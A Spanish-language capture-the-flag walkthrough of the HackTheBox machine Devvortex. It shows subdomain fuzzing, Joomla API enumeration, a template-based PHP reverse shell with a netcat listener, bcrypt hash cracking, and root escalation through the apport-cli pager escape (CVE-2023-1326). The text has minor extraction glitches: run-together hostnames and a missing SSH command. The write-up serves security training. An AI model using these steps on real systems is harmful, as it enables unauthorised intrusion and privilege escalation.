
Recorrido de HackTheBox Devvortex que cubre fuzzing de subdominios, enumeración de la API de Joomla, web shell basada en plantillas, cracking de hash bcrypt y escalada de privilegios mediante Apport-CLI CVE-2023-1326.
Un recorrido técnico exhaustivo que detalla el compromiso de la máquina Devvortex en HackTheBox. Esta ruta demuestra Fuzzing de Subdominios, Enumeración de la API de Joomla, Modificación de Plantillas para el acceso inicial, Extracción y Crackeo de Hashes de Base de Datos para el movimiento lateral, y la explotación de Apport-CLI (CVE-2023-1326) para la escalada de privilegios a root.
devvortex.htbdev.devvortex.htbapport-cli).Se realizó un descubrimiento inicial rápido de puertos TCP en todos los puertos:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Posteriormente se ejecutó un escaneo de detección de servicios y versiones contra los puertos abiertos identificados:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Añade el dominio objetivo base a tu tabla de resolución de nombres local:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing de hosts virtuales para identificar activos web adicionales:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Resultado: Se descubrió dev.devvortex.htb. Se añadió dev.devvortex.htb a /etc/hosts.
Enumeración de rutas en el host virtual recién descubierto:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Resultado: Se descubrió el endpoint /administrator, que expone un portal de autenticación de administración de Joomla.
Sondeo de endpoints públicos expuestos por la API REST de Joomla para recopilar métricas sensibles de la aplicación y usuarios:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Usando las credenciales descubiertas durante la enumeración, inicia sesión en el portal /administrator de Joomla:
Navega a System > Site Templates.
Selecciona la plantilla activa y abre error.php.
Reemplaza el contenido de error.php con un payload estándar de reverse shell en PHP.
Inicia un listener local de netcat:
Bash
nc -lvnp 4444
Activa la ejecución de error.php solicitando una página inexistente o accediendo directamente al archivo.
Una vez que la shell se conecta como www-data, genera una sesión PTY interactiva:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Accede a la base de datos MySQL local usando las credenciales obtenidas de los archivos de configuración web:
Bash
mysql -u lewis -p
Consulta la tabla de usuarios para localizar los hashes de credenciales almacenados:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Extrae el hash de contraseña bcrypt del usuario logan a un archivo local:
Bash
nano hash.txt
Crackea el hash usando John the Ripper junto con rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Establece una sesión SSH persistente como el usuario logan con las credenciales crackeadas:
Bash
Bash
cat user.txt
Inspecciona los binarios permitidos para el usuario logan:
Bash
sudo -l
Salida: El usuario puede ejecutar /usr/bin/apport-cli como root.
Comprueba la versión instalada de apport-cli:
Bash
apport-cli --version
Inspecciona /var/crash en busca de archivos de informe existentes. Si está vacío, crea manualmente un archivo de crash:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Lanza apport-cli contra el archivo de crash creado usando sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Pulsa v para View report.
Cuando el paginador (less) cargue el contenido, escapa a una shell del sistema introduciendo:
Plaintext
!/bin/bash
Verifica la elevación a root:
Bash
whoami
# Output: root
Bash
cat /root/root.txt